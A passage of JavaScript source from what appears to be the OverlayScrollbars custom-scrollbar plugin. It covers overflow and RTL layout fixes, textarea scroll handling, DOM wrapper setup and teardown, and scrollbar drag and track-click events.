viewportElementCSS[_strPaddingMinus + isRTLLeft] =
viewportElementCSS[_strMarginMinus + isRTLLeft] = _strEmpty;
//if there is any overflow (x OR y axis) and this overflow shall be hidden, make overflow hidden, else overflow visible
if ((hasOverflow.x && hideOverflow.x) || (hasOverflow.y && hideOverflow.y) || hideOverflowForceTextarea) {
//only hide if is Textarea
if (_isTextarea && hideOverflowForceTextarea) {
paddingElementCSS[strOverflowX] =
paddingElementCSS[strOverflowY] = strHidden;
}
}
else {
if (!clipAlways || (overflowBehaviorIsVH.x || overflowBehaviorIsVS.x || overflowBehaviorIsVH.y || overflowBehaviorIsVS.y)) {
//only un-hide if Textarea
if (_isTextarea) {
paddingElementCSS[strOverflowX] =
paddingElementCSS[strOverflowY] = _strEmpty;
}
viewportElementCSS[strOverflowX] =
viewportElementCSS[strOverflowY] = strVisible;
}
}
_paddingElement.css(paddingElementCSS);
_viewportElement.css(viewportElementCSS);
viewportElementCSS = {};
//force soft redraw in webkit because without the scrollbars will may appear because DOM wont be redrawn under special conditions
if ((hasOverflow.c || boxSizingChanged || widthAutoChanged || heightAutoChanged) && !(_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)) {
var elementStyle = _contentElementNative[LEXICON.s];
var dump;
elementStyle.webkitTransform = 'scale(1)';
elementStyle.display = 'run-in';
dump = _contentElementNative[LEXICON.oH];
elementStyle.display = _strEmpty; //|| dump; //use dump to prevent it from deletion if minify
elementStyle.webkitTransform = _strEmpty;
}
/*
//force hard redraw in webkit if native overlaid scrollbars shall appear
if (ignoreOverlayScrollbarHidingChanged && ignoreOverlayScrollbarHiding) {
_hostElement.hide();
var dump = _hostElementNative[LEXICON.oH];
_hostElement.show();
}
*/
}
//change to direction RTL and width auto Bugfix in Webkit
//without this fix, the DOM still thinks the scrollbar is LTR and thus the content is shifted to the left
contentElementCSS = {};
if (cssDirectionChanged || widthAutoChanged || heightAutoChanged) {
if (_isRTL && widthAuto) {
var floatTmp = _contentElement.css(_strFloat);
var posLeftWithoutFloat = MATH.round(_contentElement.css(_strFloat, _strEmpty).css(_strLeft, _strEmpty).position().left);
_contentElement.css(_strFloat, floatTmp);
var posLeftWithFloat = MATH.round(_contentElement.position().left);
if (posLeftWithoutFloat !== posLeftWithFloat)
contentElementCSS[_strLeft] = posLeftWithoutFloat;
}
else {
contentElementCSS[_strLeft] = _strEmpty;
}
}
_contentElement.css(contentElementCSS);
//handle scroll position
if (_isTextarea && contentSizeChanged) {
var textareaInfo = getTextareaInfo();
if (textareaInfo) {
var textareaRowsChanged = _textareaInfoCache === undefined ? true : textareaInfo._rows !== _textareaInfoCache._rows;
var cursorRow = textareaInfo._cursorRow;
var cursorCol = textareaInfo._cursorColumn;
var widestRow = textareaInfo._widestRow;
var lastRow = textareaInfo._rows;
var lastCol = textareaInfo._columns;
var cursorPos = textareaInfo._cursorPosition;
var cursorMax = textareaInfo._cursorMax;
var cursorIsLastPosition = (cursorPos >= cursorMax && _textareaHasFocus);
var textareaScrollAmount = {
x: (!textareaAutoWrapping && (cursorCol === lastCol && cursorRow === widestRow)) ? _overflowAmountCache.x : -1,
y: (textareaAutoWrapping ? cursorIsLastPosition || textareaRowsChanged && (previousOverflowAmount ? (currScroll.y === previousOverflowAmount.y) : false) : (cursorIsLastPosition || textareaRowsChanged) && cursorRow === lastRow) ? _overflowAmountCache.y : -1
};
currScroll.x = textareaScrollAmount.x > -1 ? (_isRTL && _normalizeRTLCache && _rtlScrollBehavior.i ? 0 : textareaScrollAmount.x) : currScroll.x; //if inverted, scroll to 0 -> normalized this means to max scroll offset.
currScroll.y = textareaScrollAmount.y > -1 ? textareaScrollAmount.y : currScroll.y;
}
_textareaInfoCache = textareaInfo;
}
if (_isRTL && _rtlScrollBehavior.i && _nativeScrollbarIsOverlaid.y && hasOverflow.x && _normalizeRTLCache)
currScroll.x += _contentBorderSize.w || 0;
if (widthAuto)
_hostElement[_strScrollLeft](0);
if (heightAuto)
_hostElement[_strScrollTop](0);
_viewportElement[_strScrollLeft](currScroll.x)[_strScrollTop](currScroll.y);
//scrollbars management:
var scrollbarsVisibilityVisible = scrollbarsVisibility === 'v';
var scrollbarsVisibilityHidden = scrollbarsVisibility === 'h';
var scrollbarsVisibilityAuto = scrollbarsVisibility === 'a';
var refreshScrollbarsVisibility = function (showX, showY) {
showY = showY === undefined ? showX : showY;
refreshScrollbarAppearance(true, showX, canScroll.x)
refreshScrollbarAppearance(false, showY, canScroll.y)
};
//manage class name which indicates scrollable overflow
addRemoveClass(_hostElement, _classNameHostOverflow, hideOverflow.x || hideOverflow.y);
addRemoveClass(_hostElement, _classNameHostOverflowX, hideOverflow.x);
addRemoveClass(_hostElement, _classNameHostOverflowY, hideOverflow.y);
//add or remove rtl class name for styling purposes except when its body, then the scrollbar stays
if (cssDirectionChanged && !_isBody) {
addRemoveClass(_hostElement, _classNameHostRTL, _isRTL);
}
//manage the resize feature (CSS3 resize "polyfill" for this plugin)
if (_isBody)
addClass(_hostElement, _classNameHostResizeDisabled);
if (resizeChanged) {
addRemoveClass(_hostElement, _classNameHostResizeDisabled, _resizeNone);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResize, !_resizeNone);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeB, _resizeBoth);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeH, _resizeHorizontal);
addRemoveClass(_scrollbarCornerElement, _classNameScrollbarCornerResizeV, _resizeVertical);
}
//manage the scrollbars general visibility + the scrollbar interactivity (unusable class name)
if (scrollbarsVisibilityChanged || overflowBehaviorChanged || hideOverflow.c || hasOverflow.c || ignoreOverlayScrollbarHidingChanged) {
if (ignoreOverlayScrollbarHiding) {
if (ignoreOverlayScrollbarHidingChanged) {
removeClass(_hostElement, _classNameHostScrolling);
if (ignoreOverlayScrollbarHiding) {
refreshScrollbarsVisibility(false);
}
}
}
else if (scrollbarsVisibilityAuto) {
refreshScrollbarsVisibility(canScroll.x, canScroll.y);
}
else if (scrollbarsVisibilityVisible) {
refreshScrollbarsVisibility(true);
}
else if (scrollbarsVisibilityHidden) {
refreshScrollbarsVisibility(false);
}
}
//manage the scrollbars auto hide feature (auto hide them after specific actions)
if (scrollbarsAutoHideChanged || ignoreOverlayScrollbarHidingChanged) {
setupHostMouseTouchEvents(!_scrollbarsAutoHideLeave && !_scrollbarsAutoHideMove);
refreshScrollbarsAutoHide(_scrollbarsAutoHideNever, !_scrollbarsAutoHideNever);
}
//manage scrollbars handle length & offset - don't remove!
if (hostSizeChanged || overflowAmount.c || heightAutoChanged || widthAutoChanged || resizeChanged || boxSizingChanged || paddingAbsoluteChanged || ignoreOverlayScrollbarHidingChanged || cssDirectionChanged) {
refreshScrollbarHandleLength(true);
refreshScrollbarHandleOffset(true);
refreshScrollbarHandleLength(false);
refreshScrollbarHandleOffset(false);
}
//manage interactivity
if (scrollbarsClickScrollingChanged)
refreshScrollbarsInteractive(true, scrollbarsClickScrolling);
if (scrollbarsDragScrollingChanged)
refreshScrollbarsInteractive(false, scrollbarsDragScrolling);
//callbacks:
dispatchCallback('onDirectionChanged', {
isRTL: _isRTL,
dir: cssDirection
}, cssDirectionChanged);
dispatchCallback('onHostSizeChanged', {
width: _hostSizeCache.w,
height: _hostSizeCache.h
}, hostSizeChanged);
dispatchCallback('onContentSizeChanged', {
width: _contentScrollSizeCache.w,
height: _contentScrollSizeCache.h
}, contentSizeChanged);
dispatchCallback('onOverflowChanged', {
x: hasOverflow.x,
y: hasOverflow.y,
xScrollable: hideOverflow.xs,
yScrollable: hideOverflow.ys,
clipped: hideOverflow.x || hideOverflow.y
}, hasOverflow.c || hideOverflow.c);
dispatchCallback('onOverflowAmountChanged', {
x: overflowAmount.x,
y: overflowAmount.y
}, overflowAmount.c);
}
//fix body min size
if (_isBody && _bodyMinSizeCache && (_hasOverflowCache.c || _bodyMinSizeCache.c)) {
//its possible that no min size was measured until now, because the content arrange element was just added now, in this case, measure now the min size.
if (!_bodyMinSizeCache.f)
bodyMinSizeChanged();
if (_nativeScrollbarIsOverlaid.y && _hasOverflowCache.x)
_contentElement.css(_strMinMinus + _strWidth, _bodyMinSizeCache.w + _overlayScrollbarDummySize.y);
if (_nativeScrollbarIsOverlaid.x && _hasOverflowCache.y)
_contentElement.css(_strMinMinus + _strHeight, _bodyMinSizeCache.h + _overlayScrollbarDummySize.x);
_bodyMinSizeCache.c = false;
}
if (_initialized && changedOptions.updateOnLoad) {
updateElementsOnLoad();
}
//freezeResizeObserver(_sizeObserverElement, false);
//freezeResizeObserver(_sizeAutoObserverElement, false);
dispatchCallback('onUpdated', { forced: force });
}
/**
* Updates the found elements of which the load event shall be handled.
*/
function updateElementsOnLoad() {
if (!_isTextarea) {
eachUpdateOnLoad(function (i, updateOnLoadSelector) {
_contentElement.find(updateOnLoadSelector).each(function (i, el) {
// if element doesn't have a updateOnLoadCallback applied
if (COMPATIBILITY.inA(el, _updateOnLoadElms) < 0) {
_updateOnLoadElms.push(el);
FRAMEWORK(el)
.off(_updateOnLoadEventName, updateOnLoadCallback)
.on(_updateOnLoadEventName, updateOnLoadCallback);
}
});
});
}
}
//==== Options ====//
/**
* Sets new options but doesn't call the update method.
* @param newOptions The object which contains the new options.
* @returns {*} A object which contains the changed options.
*/
function setOptions(newOptions) {
var validatedOpts = _pluginsOptions._validate(newOptions, _pluginsOptions._template, true, _currentOptions)
_currentOptions = extendDeep({}, _currentOptions, validatedOpts._default);
_currentPreparedOptions = extendDeep({}, _currentPreparedOptions, validatedOpts._prepared);
return validatedOpts._prepared;
}
//==== Structure ====//
/**
* Builds or destroys the wrapper and helper DOM elements.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
/**
* Builds or destroys the wrapper and helper DOM elements.
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupStructureDOM(destroy) {
var strParent = 'parent';
var classNameResizeObserverHost = 'os-resize-observer-host';
var classNameTextareaElementFull = _classNameTextareaElement + _strSpace + _classNameTextInherit;
var textareaClass = _isTextarea ? _strSpace + _classNameTextInherit : _strEmpty;
var adoptAttrs = _currentPreparedOptions.textarea.inheritedAttrs;
var adoptAttrsMap = {};
var applyAdoptedAttrs = function () {
var applyAdoptedAttrsElm = destroy ? _targetElement : _hostElement;
each(adoptAttrsMap, function (key, value) {
if (type(value) == TYPES.s) {
if (key == LEXICON.c)
applyAdoptedAttrsElm.addClass(value);
else
applyAdoptedAttrsElm.attr(key, value);
}
});
};
var hostElementClassNames = [
_classNameHostElement,
_classNameHostElementForeign,
_classNameHostTextareaElement,
_classNameHostResizeDisabled,
_classNameHostRTL,
_classNameHostScrollbarHorizontalHidden,
_classNameHostScrollbarVerticalHidden,
_classNameHostTransition,
_classNameHostScrolling,
_classNameHostOverflow,
_classNameHostOverflowX,
_classNameHostOverflowY,
_classNameThemeNone,
_classNameTextareaElement,
_classNameTextInherit,
_classNameCache].join(_strSpace);
var hostElementCSS = {};
//get host element as first element, because that's the most upper element and required for the other elements
_hostElement = _hostElement || (_isTextarea ? (_domExists ? _targetElement[strParent]()[strParent]()[strParent]()[strParent]() : FRAMEWORK(generateDiv(_classNameHostTextareaElement))) : _targetElement);
_contentElement = _contentElement || selectOrGenerateDivByClass(_classNameContentElement + textareaClass);
_viewportElement = _viewportElement || selectOrGenerateDivByClass(_classNameViewportElement + textareaClass);
_paddingElement = _paddingElement || selectOrGenerateDivByClass(_classNamePaddingElement + textareaClass);
_sizeObserverElement = _sizeObserverElement || selectOrGenerateDivByClass(classNameResizeObserverHost);
_textareaCoverElement = _textareaCoverElement || (_isTextarea ? selectOrGenerateDivByClass(_classNameTextareaCoverElement) : undefined);
//add this class to workaround class changing issues with UI frameworks especially Vue
if (_domExists)
addClass(_hostElement, _classNameHostElementForeign);
//on destroy, remove all generated class names from the host element before collecting the adopted attributes
//to prevent adopting generated class names
if (destroy)
removeClass(_hostElement, hostElementClassNames);
//collect all adopted attributes
adoptAttrs = type(adoptAttrs) == TYPES.s ? adoptAttrs.split(_strSpace) : adoptAttrs;
if (COMPATIBILITY.isA(adoptAttrs) && _isTextarea) {
each(adoptAttrs, function (i, v) {
if (type(v) == TYPES.s) {
adoptAttrsMap[v] = destroy ? _hostElement.attr(v) : _targetElement.attr(v);
}
});
}
if (!destroy) {
if (_isTextarea) {
if (!_currentPreparedOptions.sizeAutoCapable) {
hostElementCSS[_strWidth] = _targetElement.css(_strWidth);
hostElementCSS[_strHeight] = _targetElement.css(_strHeight);
}
if (!_domExists)
_targetElement.addClass(_classNameTextInherit).wrap(_hostElement);
//jQuery clones elements in wrap functions, so we have to select them again
_hostElement = _targetElement[strParent]().css(hostElementCSS);
}
if (!_domExists) {
//add the correct class to the target element
addClass(_targetElement, _isTextarea ? classNameTextareaElementFull : _classNameHostElement);
//wrap the content into the generated elements to create the required DOM
_hostElement.wrapInner(_contentElement)
.wrapInner(_viewportElement)
.wrapInner(_paddingElement)
.prepend(_sizeObserverElement);
//jQuery clones elements in wrap functions, so we have to select them again
_contentElement = findFirst(_hostElement, _strDot + _classNameContentElement);
_viewportElement = findFirst(_hostElement, _strDot + _classNameViewportElement);
_paddingElement = findFirst(_hostElement, _strDot + _classNamePaddingElement);
if (_isTextarea) {
_contentElement.prepend(_textareaCoverElement);
applyAdoptedAttrs();
}
}
if (_nativeScrollbarStyling)
addClass(_viewportElement, _classNameViewportNativeScrollbarsInvisible);
if (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y)
addClass(_viewportElement, _classNameViewportNativeScrollbarsOverlaid);
if (_isBody)
addClass(_htmlElement, _classNameHTMLElement);
_sizeObserverElementNative = _sizeObserverElement[0];
_hostElementNative = _hostElement[0];
_paddingElementNative = _paddingElement[0];
_viewportElementNative = _viewportElement[0];
_contentElementNative = _contentElement[0];
updateViewportAttrsFromTarget();
}
else {
if (_domExists && _initialized) {
//clear size observer
_sizeObserverElement.children().remove();
//remove the style property and classes from already generated elements
each([_paddingElement, _viewportElement, _contentElement, _textareaCoverElement], function (i, elm) {
if (elm) {
removeClass(elm.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
}
});
//add classes to the host element which was removed previously to match the expected DOM
addClass(_hostElement, _isTextarea ? _classNameHostTextareaElement : _classNameHostElement);
}
else {
//remove size observer
remove(_sizeObserverElement);
//unwrap the content to restore DOM
_contentElement.contents()
.unwrap()
.unwrap()
.unwrap();
if (_isTextarea) {
_targetElement.unwrap();
remove(_hostElement);
remove(_textareaCoverElement);
applyAdoptedAttrs();
}
}
if (_isTextarea)
_targetElement.removeAttr(LEXICON.s);
if (_isBody)
removeClass(_htmlElement, _classNameHTMLElement);
}
}
/**
* Adds or removes all wrapper elements interactivity events.
* @param destroy Indicates whether the Events shall be added or removed.
*/
function setupStructureEvents() {
var textareaKeyDownRestrictedKeyCodes = [
112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 123, //F1 to F12
33, 34, //page up, page down
37, 38, 39, 40, //left, up, right, down arrows
16, 17, 18, 19, 20, 144 //Shift, Ctrl, Alt, Pause, CapsLock, NumLock
];
var textareaKeyDownKeyCodesList = [];
var textareaUpdateIntervalID;
var scrollStopTimeoutId;
var scrollStopDelay = 175;
var strFocus = 'focus';
function updateTextarea(doClearInterval) {
textareaUpdate();
_base.update(_strAuto);
if (doClearInterval && _autoUpdateRecommended)
clearInterval(textareaUpdateIntervalID);
}
function textareaOnScroll(event) {
_targetElement[_strScrollLeft](_rtlScrollBehavior.i && _normalizeRTLCache ? 9999999 : 0);
_targetElement[_strScrollTop](0);
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
return false;
}
function textareaOnDrop(event) {
setTimeout(function () {
if (!_destroyed)
updateTextarea();
}, 50);
}
function textareaOnFocus() {
_textareaHasFocus = true;
addClass(_hostElement, strFocus);
}
function textareaOnFocusout() {
_textareaHasFocus = false;
textareaKeyDownKeyCodesList = [];
removeClass(_hostElement, strFocus);
updateTextarea(true);
}
function textareaOnKeyDown(event) {
var keyCode = event.keyCode;
if (inArray(keyCode, textareaKeyDownRestrictedKeyCodes) < 0) {
if (!textareaKeyDownKeyCodesList[LEXICON.l]) {
updateTextarea();
textareaUpdateIntervalID = setInterval(updateTextarea, 1000 / 60);
}
if (inArray(keyCode, textareaKeyDownKeyCodesList) < 0)
textareaKeyDownKeyCodesList.push(keyCode);
}
}
function textareaOnKeyUp(event) {
var keyCode = event.keyCode;
var index = inArray(keyCode, textareaKeyDownKeyCodesList);
if (inArray(keyCode, textareaKeyDownRestrictedKeyCodes) < 0) {
if (index > -1)
textareaKeyDownKeyCodesList.splice(index, 1);
if (!textareaKeyDownKeyCodesList[LEXICON.l])
updateTextarea(true);
}
}
function contentOnTransitionEnd(event) {
if (_autoUpdateCache === true)
return;
event = event.originalEvent || event;
if (isSizeAffectingCSSProperty(event.propertyName))
_base.update(_strAuto);
}
function viewportOnScroll(event) {
if (!_sleeping) {
if (scrollStopTimeoutId !== undefined)
clearTimeout(scrollStopTimeoutId);
else {
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(true);
if (!nativeOverlayScrollbarsAreActive())
addClass(_hostElement, _classNameHostScrolling);
dispatchCallback('onScrollStart', event);
}
//if a scrollbars handle gets dragged, the mousemove event is responsible for refreshing the handle offset
//because if CSS scroll-snap is used, the handle offset gets only refreshed on every snap point
//this looks laggy & clunky, it looks much better if the offset refreshes with the mousemove
if (!_scrollbarsHandlesDefineScrollPos) {
refreshScrollbarHandleOffset(true);
refreshScrollbarHandleOffset(false);
}
dispatchCallback('onScroll', event);
scrollStopTimeoutId = setTimeout(function () {
if (!_destroyed) {
//OnScrollStop:
clearTimeout(scrollStopTimeoutId);
scrollStopTimeoutId = undefined;
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
if (!nativeOverlayScrollbarsAreActive())
removeClass(_hostElement, _classNameHostScrolling);
dispatchCallback('onScrollStop', event);
}
}, scrollStopDelay);
}
}
if (_isTextarea) {
if (_msieVersion > 9 || !_autoUpdateRecommended) {
addDestroyEventListener(_targetElement, 'input', updateTextarea);
}
else {
addDestroyEventListener(_targetElement,
[_strKeyDownEvent, _strKeyUpEvent],
[textareaOnKeyDown, textareaOnKeyUp]);
}
addDestroyEventListener(_targetElement,
[_strScroll, 'drop', strFocus, strFocus + 'out'],
[textareaOnScroll, textareaOnDrop, textareaOnFocus, textareaOnFocusout]);
}
else {
addDestroyEventListener(_contentElement, _strTransitionEndEvent, contentOnTransitionEnd);
}
addDestroyEventListener(_viewportElement, _strScroll, viewportOnScroll, true);
}
//==== Scrollbars ====//
/**
* Builds or destroys all scrollbar DOM elements (scrollbar, track, handle)
* @param destroy Indicates whether the DOM shall be build or destroyed.
*/
function setupScrollbarsDOM(destroy) {
var selectOrGenerateScrollbarDOM = function (isHorizontal) {
var scrollbarClassName = isHorizontal ? _classNameScrollbarHorizontal : _classNameScrollbarVertical;
var scrollbar = selectOrGenerateDivByClass(_classNameScrollbar + _strSpace + scrollbarClassName, true);
var track = selectOrGenerateDivByClass(_classNameScrollbarTrack, scrollbar);
var handle = selectOrGenerateDivByClass(_classNameScrollbarHandle, scrollbar);
if (!_domExists && !destroy) {
scrollbar.append(track);
track.append(handle);
}
return {
_scrollbar: scrollbar,
_track: track,
_handle: handle
};
};
function resetScrollbarDOM(isHorizontal) {
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbar = scrollbarVars._scrollbar;
var track = scrollbarVars._track;
var handle = scrollbarVars._handle;
if (_domExists && _initialized) {
each([scrollbar, track, handle], function (i, elm) {
removeClass(elm.removeAttr(LEXICON.s), _classNamesDynamicDestroy);
});
}
else {
remove(scrollbar || selectOrGenerateScrollbarDOM(isHorizontal)._scrollbar);
}
}
var horizontalElements;
var verticalElements;
if (!destroy) {
horizontalElements = selectOrGenerateScrollbarDOM(true);
verticalElements = selectOrGenerateScrollbarDOM();
_scrollbarHorizontalElement = horizontalElements._scrollbar;
_scrollbarHorizontalTrackElement = horizontalElements._track;
_scrollbarHorizontalHandleElement = horizontalElements._handle;
_scrollbarVerticalElement = verticalElements._scrollbar;
_scrollbarVerticalTrackElement = verticalElements._track;
_scrollbarVerticalHandleElement = verticalElements._handle;
if (!_domExists) {
_paddingElement.after(_scrollbarVerticalElement);
_paddingElement.after(_scrollbarHorizontalElement);
}
}
else {
resetScrollbarDOM(true);
resetScrollbarDOM();
}
}
/**
* Initializes all scrollbar interactivity events. (track and handle dragging, clicking, scrolling)
* @param isHorizontal True if the target scrollbar is the horizontal scrollbar, false if the target scrollbar is the vertical scrollbar.
*/
function setupScrollbarEvents(isHorizontal) {
var scrollbarVars = getScrollbarVars(isHorizontal);
var scrollbarVarsInfo = scrollbarVars._info;
var insideIFrame = _windowElementNative.top !== _windowElementNative;
var xy = scrollbarVars._x_y;
var XY = scrollbarVars._X_Y;
var scroll = _strScroll + scrollbarVars._Left_Top;
var strActive = 'active';
var strSnapHandle = 'snapHandle';
var strClickEvent = 'click';
var scrollDurationFactor = 1;
var increaseDecreaseScrollAmountKeyCodes = [16, 17]; //shift, ctrl
var trackTimeout;
var mouseDownScroll;
var mouseDownOffset;
var mouseDownInvertedScale;
function getPointerPosition(event) {
return _msieVersion && insideIFrame ? event['screen' + XY] : COMPATIBILITY.page(event)[xy]; //use screen coordinates in EDGE & IE because the page values are incorrect in frames.
}
function getPreparedScrollbarsOption(name) {
return _currentPreparedOptions.scrollbars[name];
}
function increaseTrackScrollAmount() {
scrollDurationFactor = 0.5;
}
function decreaseTrackScrollAmount() {
scrollDurationFactor = 1;
}
function stopClickEventPropagation(event) {
COMPATIBILITY.stpP(event);
}
function documentKeyDown(event) {
if (inArray(event.keyCode, increaseDecreaseScrollAmountKeyCodes) > -1)
increaseTrackScrollAmount();
}
function documentKeyUp(event) {
if (inArray(event.keyCode, increaseDecreaseScrollAmountKeyCodes) > -1)
decreaseTrackScrollAmount();
}
function onMouseTouchDownContinue(event) {
var originalEvent = event.originalEvent || event;
var isTouchEvent = originalEvent.touches !== undefined;
return _sleeping || _destroyed || nativeOverlayScrollbarsAreActive() || !_scrollbarsDragScrollingCache || (isTouchEvent && !getPreparedScrollbarsOption('touchSupport')) ? false : COMPATIBILITY.mBtn(event) === 1 || isTouchEvent;
}
function documentDragMove(event) {
if (onMouseTouchDownContinue(event)) {
var trackLength = scrollbarVarsInfo._trackLength;
var handleLength = scrollbarVarsInfo._handleLength;
var scrollRange = scrollbarVarsInfo._maxScroll;
var scrollRaw = (getPointerPosition(event) - mouseDownOffset) * mouseDownInvertedScale;
var scrollDeltaPercent = scrollRaw / (trackLength - handleLength);
var scrollDelta = (scrollRange * scrollDeltaPercent);
scrollDelta = isFinite(scrollDelta) ? scrollDelta : 0;
if (_isRTL && isHorizontal && !_rtlScrollBehavior.i)
scrollDelta *= -1;
_viewportElement[scroll](MATH.round(mouseDownScroll + scrollDelta));
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, mouseDownScroll + scrollDelta);
if (!_supportPassiveEvents)
COMPATIBILITY.prvD(event);
}
else
documentMouseTouchUp(event);
}
function documentMouseTouchUp(event) {
event = event || event.originalEvent;
setupResponsiveEventListener(_documentElement,
[_strMouseTouchMoveEvent, _strMouseTouchUpEvent, _strKeyDownEvent, _strKeyUpEvent, _strSelectStartEvent],
[documentDragMove, documentMouseTouchUp, documentKeyDown, documentKeyUp, documentOnSelectStart],
true);
COMPATIBILITY.rAF()(function() {
setupResponsiveEventListener(_documentElement, strClickEvent, stopClickEventPropagation, true, { _capture: true });
});
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, true);
_scrollbarsHandlesDefineScrollPos = false;
removeClass(_bodyElement, _classNameDragging);
removeClass(scrollbarVars._handle, strActive);
removeClass(scrollbarVars._track, strActive);
removeClass(scrollbarVars._scrollbar, strActive);
mouseDownScroll = undefined;
mouseDownOffset = undefined;
mouseDownInvertedScale = 1;
decreaseTrackScrollAmount();
if (trackTimeout !== undefined) {
_base.scrollStop();
clearTimeout(trackTimeout);
trackTimeout = undefined;
}
if (event) {
var rect = _hostElementNative[LEXICON.bCR]();
var mouseInsideHost = event.clientX >= rect.left && event.clientX <= rect.right && event.clientY >= rect.top && event.clientY <= rect.bottom;
//if mouse is outside host element
if (!mouseInsideHost)
hostOnMouseLeave();
if (_scrollbarsAutoHideScroll || _scrollbarsAutoHideMove)
refreshScrollbarsAutoHide(false);
}
}
function onHandleMouseTouchDown(event) {
if (onMouseTouchDownContinue(event))
onHandleMouseTouchDownAction(event);
}
function onHandleMouseTouchDownAction(event) {
mouseDownScroll = _viewportElement[scroll]();
mouseDownScroll = isNaN(mouseDownScroll) ? 0 : mouseDownScroll;
if (_isRTL && isHorizontal && !_rtlScrollBehavior.n || !_isRTL)
mouseDownScroll = mouseDownScroll < 0 ? 0 : mouseDownScroll;
mouseDownInvertedScale = getHostElementInvertedScale()[xy];
mouseDownOffset = getPointerPosition(event);
_scrollbarsHandlesDefineScrollPos = !getPreparedScrollbarsOption(strSnapHandle);
addClass(_bodyElement, _classNameDragging);
addClass(scrollbarVars._handle, strActive);
addClass(scrollbarVars._scrollbar, strActive);
setupResponsiveEventListener(_documentElement,
[_strMouseTouchMoveEvent, _strMouseTouchUpEvent, _strSelectStartEvent],
[documentDragMove, documentMouseTouchUp, documentOnSelectStart]);
COMPATIBILITY.rAF()(function() {
setupResponsiveEventListener(_documentElement, strClickEvent, stopClickEventPropagation, false, { _capture: true });
});
if (_msieVersion || !_documentMixed)
COMPATIBILITY.prvD(event);
COMPATIBILITY.stpP(event);
}
function onTrackMouseTouchDown(event) {
if (onMouseTouchDownContinue(event)) {
var handleToViewportRatio = scrollbarVars._info._handleLength / Math.round(MATH.min(1, _viewportSize[scrollbarVars._w_h] / _contentScrollSizeCache[scrollbarVars._w_h]) * scrollbarVars._info._trackLength);
var scrollDistance = MATH.round(_viewportSize[scrollbarVars._w_h] * handleToViewportRatio);
var scrollBaseDuration = 270 * handleToViewportRatio;
var scrollFirstIterationDelay = 400 * handleToViewportRatio;
var trackOffset = scrollbarVars._track.offset()[scrollbarVars._left_top];
var ctrlKey = event.ctrlKey;
var instantScroll = event.shiftKey;
var instantScrollTransition = instantScroll && ctrlKey;
var isFirstIteration = true;
var easing = 'linear';
var decreaseScroll;
var finishedCondition;
var scrollActionFinsished = function (transition) {
if (_scrollbarsHandlesDefineScrollPos)
refreshScrollbarHandleOffset(isHorizontal, transition);
};
var scrollActionInstantFinished = function () {
scrollActionFinsished();
onHandleMouseTouchDownAction(event);
};
var scrollAction = function () {
if (!_destroyed) {
var mouseOffset = (mouseDownOffset - trackOffset) * mouseDownInvertedScale;
var handleOffset = scrollbarVarsInfo._handleOffset;
var trackLength = scrollbarVarsInfo._trackLength;
var handleLength = scrollbarVarsInfo._handleLength;
var scrollRange = scrollbarVarsInfo._maxScroll;
var currScroll = scrollbarVarsInfo._currentScroll;
var scrollDuration = scrollBaseDuration * scrollDurationFactor;
var timeoutDelay = isFirstIteration ? MATH.max(scrollFirstIterationDelay, scrollDuration) : scrollDuration;
var instantScrollPosition = scrollRange * ((mouseOffset - (handleLength / 2)) / (trackLength - handleLength)); // 100% * positionPercent
var rtlIsNormal = _isRTL && isHorizontal && ((!_rtlScrollBehavior.i && !_rtlScrollBehavior.n) || _normalizeRTLCache);
var decreaseScrollCondition = rtlIsNormal ? handleOffset < mouseOffset : handleOffset > mouseOffset;
var scrollObj = {};
var animationObj = {
easing: easing,
step: function (now) {
if (_scrollbarsHandlesDefineScrollPos) {
_viewportElement[scroll](now); //https://github.com/jquery/jquery/issues/4340
refreshScrollbarHandleOffset(isHorizontal, now);
}
}
};
instantScrollPosition = isFinite(instantScrollPosition) ? instantScrollPosition : 0;
instantScrollPosition = _isRTL && isHorizontal && !_rtlScrollBehavior.i ? (scrollRange - instantScrollPosition) : instantScrollPosition;
//_base.scrollStop();
if (instantScroll) {
_viewportElement[scroll](instantScrollPosition); //scroll instantly to new position
if (instantScrollTransition) {
//get the scroll position after instant scroll (in case CSS Snap Points are used) to get the correct snapped scroll position
//and the animation stops at the correct point
instantScrollPosition = _viewportElement[scroll]();
//scroll back to the position before instant scrolling so animation can be performed
_viewportElement[scroll](currScroll);
instantScrollPosition = rtlIsNormal && _rtlScrollBehavior.i ? (scrollRange - instantScrollPosition) : instantScrollPosition;
instantScrollPosition = rtlIsNormal && _rtlScrollBehavior.n ? -instantScrollPosition : instantScrollPosition;
scrollObj[xy] = instantScrollPosition;
_base.scroll(scrollObj, extendDeep(animationObj, {
duration: 130,
complete: scrollActionInstantFinished
}));
}
else
scrollActionInstantFinished();
}
else {
decreaseScroll = isFirstIteration ? decreaseScrollCondition : decreaseScroll;
finishedCondition = rtlIsNormal
? (decreaseScroll ? handleOffset + handleLength >= mouseOffset : handleOffset <= mouseOffset)
: (decreaseScroll ? handleOffset <= mouseOffset : handleOffset + handleLength >= mouseOffset);
if (finishedCondition) {
clearTimeout(trackTimeout);
_base.scrollStop();
trackTimeout = undefined;
scrollActionFinsished(true);
}
else {
trackTimeout = setTimeout(scrollAction, timeoutDelay);
scrollObj[xy] = (decreaseScroll ? '-=' : '+=') + scrollDistance;
_base.scroll(scrollObj, extendDeep(animationObj, {
duration: scrollDuration
}));
}
isFirstIteration = false;
}
}
};
if (ctrlKey)
increaseTrackScrollAmount();
mouseDownInvertedScale = getHostElementInvertedScale()[xy];
mouseDownOffset = COMPATIBILITY.page(event)[xy];
_scrollbarsHandlesDefineScrollPos = !getPreparedScrollbarsOption(strSnapHandle);
addClass(_bodyElement, _classNameDragging);
